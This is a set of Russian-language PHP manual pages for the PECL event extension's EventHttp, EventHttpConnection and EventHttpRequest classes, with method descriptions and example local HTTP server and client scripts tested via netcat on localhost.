Этот параметр доступен, только если Event скомпилирован с поддержкой OpenSSL и только с Libevent 2.1.0-alpha и выше.

Возвращаемые значения

Возвращает объект EventHttp.

Список изменений

Версия | Описание
PECL event 1.9.0 | Добавлена поддержка OpenSSL (ctx).

Примеры

Пример #1 Простой HTTP-сервер

<?php
/*
* Простой HTTP-сервер.
*
* Чтобы проверить:
* 1) Запустите его на выбранном вами порту, например:
* $ php examples/http.php 8010
* 2) В другом терминале подключитесь к какому-либо адресу на этом порту
* и сделайте запрос GET или POST (другие здесь отключены), например:
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (press Enter)
*
* Будет выведено:
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* $ nc -t 127.0.0.1 8010
* GET /dump HTTP/1.0
* Content-Type: text/plain
* Content-Encoding: UTF-8
* Connection: close
* (press Enter)
*
* Будет выведено:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
* (press Enter)
*
* $ nc -t 127.0.0.1 8010
* GET /unknown HTTP/1.0
* Connection: close
*
* Будет выведено:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) Посмотрите, что сервер выводит в предыдущем окне терминала.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Счётчик достиг максимальных запросов $max_requests. Выходим\n";
exit();
}

echo __METHOD__, " called\n";
echo "запрос:"; var_dump($req);
echo "данные:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Команда:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Заголовки ввода:"; var_dump($req->getInputHeaders());
echo "Выходные заголовки:"; var_dump($req->getOutputHeaders());

echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Чтение входного буфера ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "Нет больше данных в буфере\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Неверный порт");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "пользовательские данные");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:22
If you try to use the SSL context parameter and you receive an error that you're using 2 parameters instead of 1, then your libevent library is not recent enough to support all features.
When installing the event extension with PECL, the libevent library needs a certain version to support certain functions.
PECL does not show any errors or warnings but simple disables everything that your libevent version does not support.

For further details see my comment at
http://php.net/manual/en/event.examples.php
Anonymous 06-Mar-2015 11:47
This demo code has a memory leak


Удаляет псевдоним сервера

  • « EventHttp::__construct
  • EventHttp::setAllowedMethods »
  • PHP Manual
  • EventHttp
  • Удаляет псевдоним сервера

EventHttp::removeServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::removeServerAlias — Удаляет псевдоним сервера

Описание

public EventHttp::removeServerAlias( string $alias ): bool

Удаляет псевдоним сервера, добавленный с помощью EventHttp::addServerAlias()

Список параметров

alias

Псевдоним для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventHttp::addServerAlias() - Добавляет псевдоним сервера к объекту HTTP-сервера

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя

  • « EventHttp::removeServerAlias
  • EventHttp::setCallback »
  • PHP Manual
  • EventHttp
  • Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя

EventHttp::setAllowedMethods

(PECL event >= 1.4.0-beta)

EventHttp::setAllowedMethods — Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя

Описание

public EventHttp::setAllowedMethods( int $methods ): void

Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя.

Если не поддерживается, выдаст в ответ "405 Method not allowed".

По умолчанию разрешены следующие методы: GET , POST , HEAD , PUT , DELETE . Смотрите константы EventHttpRequest::CMD_*.

Список параметров

methods

Битовая маска констант EventHttpRequest::CMD_* .

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию для указанного URI

  • « EventHttp::setAllowedMethods
  • EventHttp::setDefaultCallback »
  • PHP Manual
  • EventHttp
  • Устанавливает callback-функцию для указанного URI

EventHttp::setCallback

(PECL event >= 1.4.0-beta)

EventHttp::setCallback — Устанавливает callback-функцию для указанного URI

Описание

public EventHttp::setCallback( string $path , string $cb , string $arg = ?): void

Устанавливает callback-функцию для указанного URI.

Список параметров

path

Путь для вызова callback-функции.

cb

Callback-функция callable, которая вызывается по запрошенному path. Должна соответствовать следующему прототипу:

callback( EventHttpRequest $req = NULL , mixed $arg = NULL ): void

req

Объект EventHttpRequest.

arg

Пользовательские данные.

arg

Пользовательские данные.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttp::setCallback()

<?php
/*
* Простой HTTP-сервер.
*
* Чтобы проверить:
* 1) Запустите его на выбранном вами порту, например:
* $ php examples/http.php 8010
* 2) В другом терминале подключитесь к какому-либо адресу на этом порту
* и сделайте запрос GET или POST (другие здесь отключены), например:
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (press Enter)
*
* Будет выводено
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) Посмотрите, что сервер выводит в предыдущем окне терминала.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Счётчик достиг максимальных запросов $max_requests. Выходим\n";
exit();
}

echo __METHOD__, " called\n";
echo "запрос:"; var_dump($req);
echo "данные:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "команда:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Заголовки ввода:"; var_dump($req->getInputHeaders());
echo "Выходные заголовки:"; var_dump($req->getOutputHeaders());

echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Чтение входного буфера ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "Нет больше данных в буфере\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправка ответа ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Неверный порт");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "пользовательские данные");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Смотрите также

  • EventHttp::setDefaultCallback() - Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями

  • « EventHttp::setCallback
  • EventHttp::setMaxBodySize »
  • PHP Manual
  • EventHttp
  • Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями

EventHttp::setDefaultCallback

(PECL event >= 1.4.0-beta)

EventHttp::setDefaultCallback — Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями

Описание

public EventHttp::setDefaultCallback( string $cb , string $arg = ?): void

Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями

Список параметров

cb

Callback-функция callable. Должна соответствовать следующему прототипу:

callback( EventHttpRequest $req = NULL , mixed $arg = NULL ): void

req

Объект EventHttpRequest.

arg

Пользовательские данные.

arg

Пользовательские данные, который передаются в callback-функцию.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttp::setDefaultCallback()

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("bind(1) failed\n");
};

$http->setDefaultCallback(function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
});

$base->dispatch();
?>

Смотрите также

  • EventHttp::setCallback() - Устанавливает callback-функцию для указанного URI

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальный размер тела запроса

  • « EventHttp::setDefaultCallback
  • EventHttp::setMaxHeadersSize »
  • PHP Manual
  • EventHttp
  • Устанавливает максимальный размер тела запроса

EventHttp::setMaxBodySize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxBodySize — Устанавливает максимальный размер тела запроса

Описание

public EventHttp::setMaxBodySize( int $value ): void

Устанавливает максимальный размер тела запроса.

Список параметров

value

Размер тела в байтах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttp::setMaxHeadersSize() - Устанавливает максимальный размер HTTP-заголовка

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальный размер HTTP-заголовка

  • « EventHttp::setMaxBodySize
  • EventHttp::setTimeout »
  • PHP Manual
  • EventHttp
  • Устанавливает максимальный размер HTTP-заголовка

EventHttp::setMaxHeadersSize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxHeadersSize — Устанавливает максимальный размер HTTP-заголовка

Описание

public EventHttp::setMaxHeadersSize( int $value ): void

Устанавливает максимальный размер HTTP-заголовка

Список параметров

value

Размер заголовка в байтах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttp::setMaxHeadersSize()

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время ожидания для HTTP-запроса

  • « EventHttp::setMaxHeadersSize
  • EventHttpConnection »
  • PHP Manual
  • EventHttp
  • Устанавливает время ожидания для HTTP-запроса

EventHttp::setTimeout

(PECL event >= 1.4.0-beta)

EventHttp::setTimeout — Устанавливает время ожидания для HTTP-запроса

Описание

public EventHttp::setTimeout( int $value ): void

Устанавливает время ожидания для HTTP-запроса

Список параметров

value

Время ожидания в секундах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EventHttpConnection

(PECL event >= 1.4.0-beta)

Введение

Представляет HTTP-соединение.

Обзор классов

class EventHttpConnection {
/* Методы */
public __construct(
EventBase $base ,
EventDnsBase $dns_base ,
string $address ,
int $port ,
EventSslContext $ctx = null
)
public getBase(): EventBase
public getPeer( string &$address , int &$port ): void
public makeRequest( EventHttpRequest $req , int $type , string $uri ): bool
public setCloseCallback( callable $callback , mixed $data = ?): void
public setLocalAddress( string $address ): void
public setLocalPort( int $port ): void
public setMaxBodySize( string $max_size ): void
public setMaxHeadersSize( string $max_size ): void
public setRetries( int $retries ): void
public setTimeout( int $timeout ): void
}

Содержание

  • EventHttpConnection::__construct — Конструктор объекта EventHttpConnection
  • EventHttpConnection::getBase — Возвращает базу событий, связанную с соединением
  • EventHttpConnection::getPeer — Получает удалённый адрес и порт, связанный с соединением
  • EventHttpConnection::makeRequest — Делает HTTP-запрос по указанному соединению
  • EventHttpConnection::setCloseCallback — Устанавливает callback-функцию при закрытии соединения
  • EventHttpConnection::setLocalAddress — Устанавливает IP-адрес, с которого происходят HTTP-соединения
  • EventHttpConnection::setLocalPort — Устанавливает локальный порт, с которого производятся соединения
  • EventHttpConnection::setMaxBodySize — Устанавливает максимальный размер тела для подключения
  • EventHttpConnection::setMaxHeadersSize — Устанавливает максимальный размер заголовка
  • EventHttpConnection::setRetries — Устанавливает максимальное количество повторов для соединения
  • EventHttpConnection::setTimeout — Устанавливает время ожидания для соединения

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EventHttpConnection

  • « EventHttpConnection
  • EventHttpConnection::getBase »
  • PHP Manual
  • EventHttpConnection
  • Конструктор объекта EventHttpConnection

EventHttpConnection::__construct

(PECL event >= 1.2.6-beta)

EventHttpConnection::__construct — Конструктор объекта EventHttpConnection

Описание

public EventHttpConnection::__construct(
EventBase $base ,
EventDnsBase $dns_base ,
string $address ,
int $port ,
EventSslContext $ctx = null
)

Конструктор объекта EventHttpConnection.

Список параметров

base

Связанная база событий.

dns_base

Если параметр dns_base равен null, разрешение имени хоста будет заблокировано.

address

Адрес для подключения.

port

Порт для подключения.

ctx

Объект класса EventSslContext. Включает OpenSSL.

Замечание:

Этот параметр доступен, только если Event скомпилирован с поддержкой OpenSSL и только с Libevent 2.1.0-alpha и выше.

Возвращаемые значения

Возвращает объект EventHttpConnection.

Список изменений

Версия | Описание
PECL event 1.9.0 | Добавлена поддержка OpenSSL (ctx).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает базу событий, связанную с соединением

  • « EventHttpConnection::__construct
  • EventHttpConnection::getPeer »
  • PHP Manual
  • EventHttpConnection
  • Возвращает базу событий, связанную с соединением

EventHttpConnection::getBase

(PECL event >= 1.2.6-beta)

EventHttpConnection::getBase — Возвращает базу событий, связанную с соединением

Описание

public EventHttpConnection::getBase(): EventBase

Возвращает базу событий, связанную с соединением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает объект EventBase, связанный с соединением. В противном случае - false.

User Contributed Notes

There are no user contributed notes for this page.


Получает удалённый адрес и порт, связанный с соединением

  • « EventHttpConnection::getBase
  • EventHttpConnection::makeRequest »
  • PHP Manual
  • EventHttpConnection
  • Получает удалённый адрес и порт, связанный с соединением

EventHttpConnection::getPeer

(PECL event >= 1.2.6-beta)

EventHttpConnection::getPeer — Получает удалённый адрес и порт, связанный с соединением

Описание

public EventHttpConnection::getPeer( string &$address , int &$port ): void

Получает удалённый адрес и порт, связанный с соединением

Список параметров

address

Адрес, связанный с соединением.

port

Порт, связанный с соединением.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Делает HTTP-запрос по указанному соединению

  • « EventHttpConnection::getPeer
  • EventHttpConnection::setCloseCallback »
  • PHP Manual
  • EventHttpConnection
  • Делает HTTP-запрос по указанному соединению

EventHttpConnection::makeRequest

(PECL event >= 1.4.0-beta)

EventHttpConnection::makeRequest — Делает HTTP-запрос по указанному соединению

Описание

public EventHttpConnection::makeRequest( EventHttpRequest $req , int $type , string $uri ): bool

Делает HTTP-запрос по указанному соединению. type одна из констант EventHttpRequest::CMD_* .

Список параметров

req

Объект подключения, через который отправляется запрос.

type

одна из констант EventHttpRequest::CMD_* .

uri

URI, связанный с запросом.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttpConnection::makeRequest()

<?php
function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Время вышло\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Соединение разорвано\n";
} elseif ($response_code != 200) {
echo "Неожиданный ответ: $response_code\n";
} else {
echo "Успешно: $response_code\n";
$buf = $req->getInputBuffer();
echo "Тело ответа:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

Смотрите также

  • EventHttpRequest::addHeader() - Добавляет заголовок HTTP к заголовкам запроса

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию при закрытии соединения

  • « EventHttpConnection::makeRequest
  • EventHttpConnection::setLocalAddress »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает callback-функцию при закрытии соединения

EventHttpConnection::setCloseCallback

(PECL event >= 1.8.0)

EventHttpConnection::setCloseCallback — Устанавливает callback-функцию при закрытии соединения

Описание

public EventHttpConnection::setCloseCallback( callable $callback , mixed $data = ?): void

Устанавливает callback-функцию при закрытии соединения.

Список параметров

callback

Устанавливает callback-функцию при закрытии соединения, которая должна соответствовать прототипу:

callback( EventHttpConnection $conn = null , mixed $arg = null ): void

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования EventHttpConnection::setCloseCallback()

<?php
/*
* Устанавливаем callback-функцию, при закрытии соединения
*
* Скрипт обрабатывает закрытые соединения, используя HTTP API.
*
* Использование:
* 1) Запустите сервер:
* $ php examples/http_closecb.php 4242
*
* 2) Запустите клиента в другом терминале. Наподобие Telnet
* Сессия должна выглядеть следующим образом:
*
* $ nc -t 127.0.0.1 4242
* GET / HTTP/1.0
* Connection: close
*
* Сервер выведет что-то похожее на следующее:
*
* HTTP/1.0 200 OK
* Content-Type: multipart/x-mixed-replace;boundary=boundarydonotcross
* Connection: close
*
* <html>
*
* 3) Завершите соединение с клиентом внезапно,
* то есть завершите процесс, или просто нажмите Ctrl-C
*
* 4) Проверьте, вызывается ли _close_callback.
* Скрипт должен вывести строку "_close_callback" стандартным выводом.
*
* 5) Проверьте, не имеет ли процесс сервера потерянных соединений,
* например с утилитой `lsof`.
*/

function _close_callback($conn)
{
echo __FUNCTION__, PHP_EOL;
}

function _http_default($req, $dummy)
{
$conn = $req->getConnection();
$conn->setCloseCallback('_close_callback', NULL);

/*
Включив Event::READ, мы защищаем сервер от незакрытых соединений.
Это особенность Libevent. Библиотека отключает события Event::READ для текущего соединения
и сервер не уведомляется о разорванных соединениях.

Таким образом, каждый раз, когда клиент прерывает соединение, мы получаем потерянное соединение.
Например, следующее является частью `lsof -p $PID | grep TCP` после того,
как клиент разорвал соединение:

57-php 15057 ruslan 6u unix 0xffff8802fb59c780 0t0 125187 socket
58:php 15057 ruslan 7u IPv4 125189 0t0 TCP *:4242 (LISTEN)
59:php 15057 ruslan 8u IPv4 124342 0t0 TCP localhost:4242->localhost:37375 (CLOSE_WAIT)

где $PID - наш ID процесса.

Следующий блок кода исправляет такие потерянные соединения.
*/
$bev = $req->getBufferEvent();
$bev->enable(Event::READ);
// Мы должны явно это освободить. Смотрите
EventHttpRequest::getConnection()
$bev->free(); // освобождаем

$req->addHeader(
'Content-Type',
'multipart/x-mixed-replace;boundary=boundarydonotcross',
EventHttpRequest::OUTPUT_HEADER
);

$buf = new EventBuffer();
$buf->add('<html>');

$req->sendReply(200, "OK");
$req->sendReplyChunk($buf);
}

$port = 4242;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setDefaultCallback("_http_default", NULL);
$http->bind("0.0.0.0", $port);
$base->loop();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает IP-адрес, с которого происходят HTTP-соединения

  • « EventHttpConnection::setCloseCallback
  • EventHttpConnection::setLocalPort »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает IP-адрес, с которого происходят HTTP-соединения

EventHttpConnection::setLocalAddress

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalAddress — Устанавливает IP-адрес, с которого происходят HTTP-соединения

Описание

public EventHttpConnection::setLocalAddress( string $address ): void

Устанавливает IP-адрес, с которого происходят HTTP-соединения.

Список параметров

address

IP-адрес, с которого происходят HTTP-соединения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpConnection::setLocalPort() - Устанавливает локальный порт, с которого производятся соединения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает локальный порт, с которого производятся соединения

  • « EventHttpConnection::setLocalAddress
  • EventHttpConnection::setMaxBodySize »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает локальный порт, с которого производятся соединения

EventHttpConnection::setLocalPort

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalPort — Устанавливает локальный порт, с которого производятся соединения

Описание

public EventHttpConnection::setLocalPort( int $port ): void

Устанавливает локальный порт, с которого производятся соединения.

Список параметров

port

Номер порта.

Возвращаемые значения

Смотрите также

  • EventHttpConnection::setLocalAddress() - Устанавливает IP-адрес, с которого происходят HTTP-соединения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальный размер тела для подключения

  • « EventHttpConnection::setLocalPort
  • EventHttpConnection::setMaxHeadersSize »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает максимальный размер тела для подключения

EventHttpConnection::setMaxBodySize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxBodySize — Устанавливает максимальный размер тела для подключения

Описание

public EventHttpConnection::setMaxBodySize( string $max_size ): void

Устанавливает максимальный размер тела для подключения.

Список параметров

max_size

Максимальный размер тела в байтах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpConnection::setMaxHeadersSize() - Устанавливает максимальный размер заголовка

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальный размер заголовка

  • « EventHttpConnection::setMaxBodySize
  • EventHttpConnection::setRetries »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает максимальный размер заголовка

EventHttpConnection::setMaxHeadersSize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxHeadersSize — Устанавливает максимальный размер заголовка

Описание

public EventHttpConnection::setMaxHeadersSize( string $max_size ): void

Устанавливает максимальный размер заголовка для соединения.

Список параметров

max_size

Максимальный размер заголовка в байтах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventHttpConnection::setMaxBodySize() - Устанавливает максимальный размер тела для подключения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество повторов для соединения

  • « EventHttpConnection::setMaxHeadersSize
  • EventHttpConnection::setTimeout »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает максимальное количество повторов для соединения

EventHttpConnection::setRetries

(PECL event >= 1.2.6-beta)

EventHttpConnection::setRetries — Устанавливает максимальное количество повторов для соединения

Описание

public EventHttpConnection::setRetries( int $retries ): void

Устанавливает максимальное количество повторов для соединения

Список параметров

retries

Количество повторов. -1 означает бесконечное количество.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время ожидания для соединения

  • « EventHttpConnection::setRetries
  • EventHttpRequest »
  • PHP Manual
  • EventHttpConnection
  • Устанавливает время ожидания для соединения

EventHttpConnection::setTimeout

(PECL event >= 1.2.6-beta)

EventHttpConnection::setTimeout — Устанавливает время ожидания для соединения

Описание

public EventHttpConnection::setTimeout( int $timeout ): void

Устанавливает время ожидания для соединения

Список параметров

timeout

Время ожидания в секундах

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EventHttpRequest

(PECL event >= 1.4.0-beta)

Введение

Представляет HTTP-запрос.

Обзор классов

class EventHttpRequest {
/* Константы */
const int CMD_GET = 1;
const int CMD_POST = 2;
const int CMD_HEAD = 4;
const int CMD_PUT = 8;
const int CMD_DELETE = 16;
const int CMD_OPTIONS = 32;
const int CMD_TRACE = 64;
const int CMD_CONNECT = 128;
const int CMD_PATCH = 256;
const int INPUT_HEADER = 1;
const int OUTPUT_HEADER = 2;
/* Методы */
public addHeader( string $key , string $value , int $type ): bool
public cancel(): void
public clearHeaders(): void
public closeConnection(): void
public __construct( callable $callback , mixed $data = null )
public findHeader( string $key , string $type ): void
public free(): void
public closeConnection(): EventBufferEvent
public getCommand(): void
public closeConnection(): EventHttpConnection
public getHost(): string
public getInputBuffer(): EventBuffer
public getInputHeaders(): array
public getOutputBuffer(): EventBuffer
public getOutputHeaders(): void
public getResponseCode(): int
public getUri(): string
public removeHeader( string $key , string $type ): void
public sendError( int $error , string $reason = null ): void
public sendReply( int $code , string $reason , EventBuffer $buf = ?): void
public sendReplyChunk( EventBuffer $buf ): void
public sendReplyEnd(): void
public sendReplyStart( int $code , string $reason ): void
}

Предопределённые константы

EventHttpRequest::CMD_GET

Метод GET (команда)

EventHttpRequest::CMD_POST

Метод POST (команда)

EventHttpRequest::CMD_HEAD

Метод HEAD (команда)

EventHttpRequest::CMD_PUT

Метод PUT (команда)

EventHttpRequest::CMD_DELETE

Метод DELETE (команда)

EventHttpRequest::CMD_OPTIONS

Метод OPTIONS (команда)

EventHttpRequest::CMD_TRACE

Метод TRACE (команда)

EventHttpRequest::CMD_CONNECT

Метод CONNECT (команда)

EventHttpRequest::CMD_PATCH

Метод PATCH (команда)

EventHttpRequest::INPUT_HEADER

Тип входящего заголовка запроса.

EventHttpRequest::OUTPUT_HEADER

Тип исходящего заголовка запроса.

Содержание

  • EventHttpRequest::addHeader — Добавляет заголовок HTTP к заголовкам запроса
  • EventHttpRequest::cancel — Отменяет ожидающий HTTP-запрос
  • EventHttpRequest::clearHeaders — Удаляет все выходные заголовки из списка заголовков запроса
  • EventHttpRequest::closeConnection — Закрывает связанное HTTP-соединение
  • EventHttpRequest::__construct — Конструктор объекта EventHttpRequest
  • EventHttpRequest::findHeader — Получает значение заголовка
  • EventHttpRequest::free — Освобождает объект и удаляет связанные события
  • EventHttpRequest::getBufferEvent — Возвращает объект EventBufferEvent
  • EventHttpRequest::getCommand — Возвращает команду запроса (метод)
  • EventHttpRequest::getConnection — Возвращает объект EventHttpConnection
  • EventHttpRequest::getHost — Возвращает хост запроса
  • EventHttpRequest::getInputBuffer — Возвращает входной буфер
  • EventHttpRequest::getInputHeaders — Возвращает ассоциативный массив входных заголовков
  • EventHttpRequest::getOutputBuffer — Возвращает выходной буфер запроса
  • EventHttpRequest::getOutputHeaders — Возвращает ассоциативный массив выходных заголовков
  • EventHttpRequest::getResponseCode — Возвращает код ответа
  • EventHttpRequest::getUri — Возвращает URI запроса
  • EventHttpRequest::removeHeader — Удаляет заголовок HTTP из заголовков запроса
  • EventHttpRequest::sendError — Отправляет HTML-сообщение об ошибке клиенту
  • EventHttpRequest::sendReply — Отправляет HTML-ответ клиенту
  • EventHttpRequest::sendReplyChunk — Отправляет блок данных, как часть текущего фрагментированного ответа
  • EventHttpRequest::sendReplyEnd — Заполняет фрагментарный ответ, освобождая запрос соответствующим образом
  • EventHttpRequest::sendReplyStart — Инициирует фрагментарный ответ

User Contributed Notes

There are no user contributed notes for this page.


Добавляет заголовок HTTP к заголовкам запроса

  • « EventHttpRequest
  • EventHttpRequest::cancel »
  • PHP Manual
  • EventHttpRequest
  • Добавляет заголовок HTTP к заголовкам запроса

EventHttpRequest::addHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::addHeader — Добавляет заголовок HTTP к заголовкам запроса

Описание

public EventHttpRequest::addHeader( string $key , string $value , int $type ): bool

Добавляет заголовок HTTP к заголовкам запроса.

Список параметров

key

Наименование заголовка.

value

Значение заголовка.

type

Одна из констант EventHttpRequest::*_HEADER .

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventHttpRequest::removeHeader() - Удаляет заголовок HTTP из заголовков запроса

User Contributed Notes

There are no user contributed notes for this page.


Отменяет ожидающий HTTP-запрос

  • « EventHttpRequest::addHeader
  • EventHttpRequest::clearHeaders »
  • PHP Manual
  • EventHttpRequest
  • Отменяет ожидающий HTTP-запрос

EventHttpRequest::cancel

(PECL event >= 1.4.0-beta)

EventHttpRequest::cancel — Отменяет ожидающий HTTP-запрос

Описание

public EventHttpRequest::cancel(): void

Отменяет ожидающий HTTP-запрос.

Отменяет текущий HTTP-запрос. Callback-функция, связанная с этим запросом, не выполнится, объект запроса освобождается. Если запрос в настоящее время обрабатывается, например, непрерывный запрос, соответствующий объект EventHttpConnection будет сброшен.

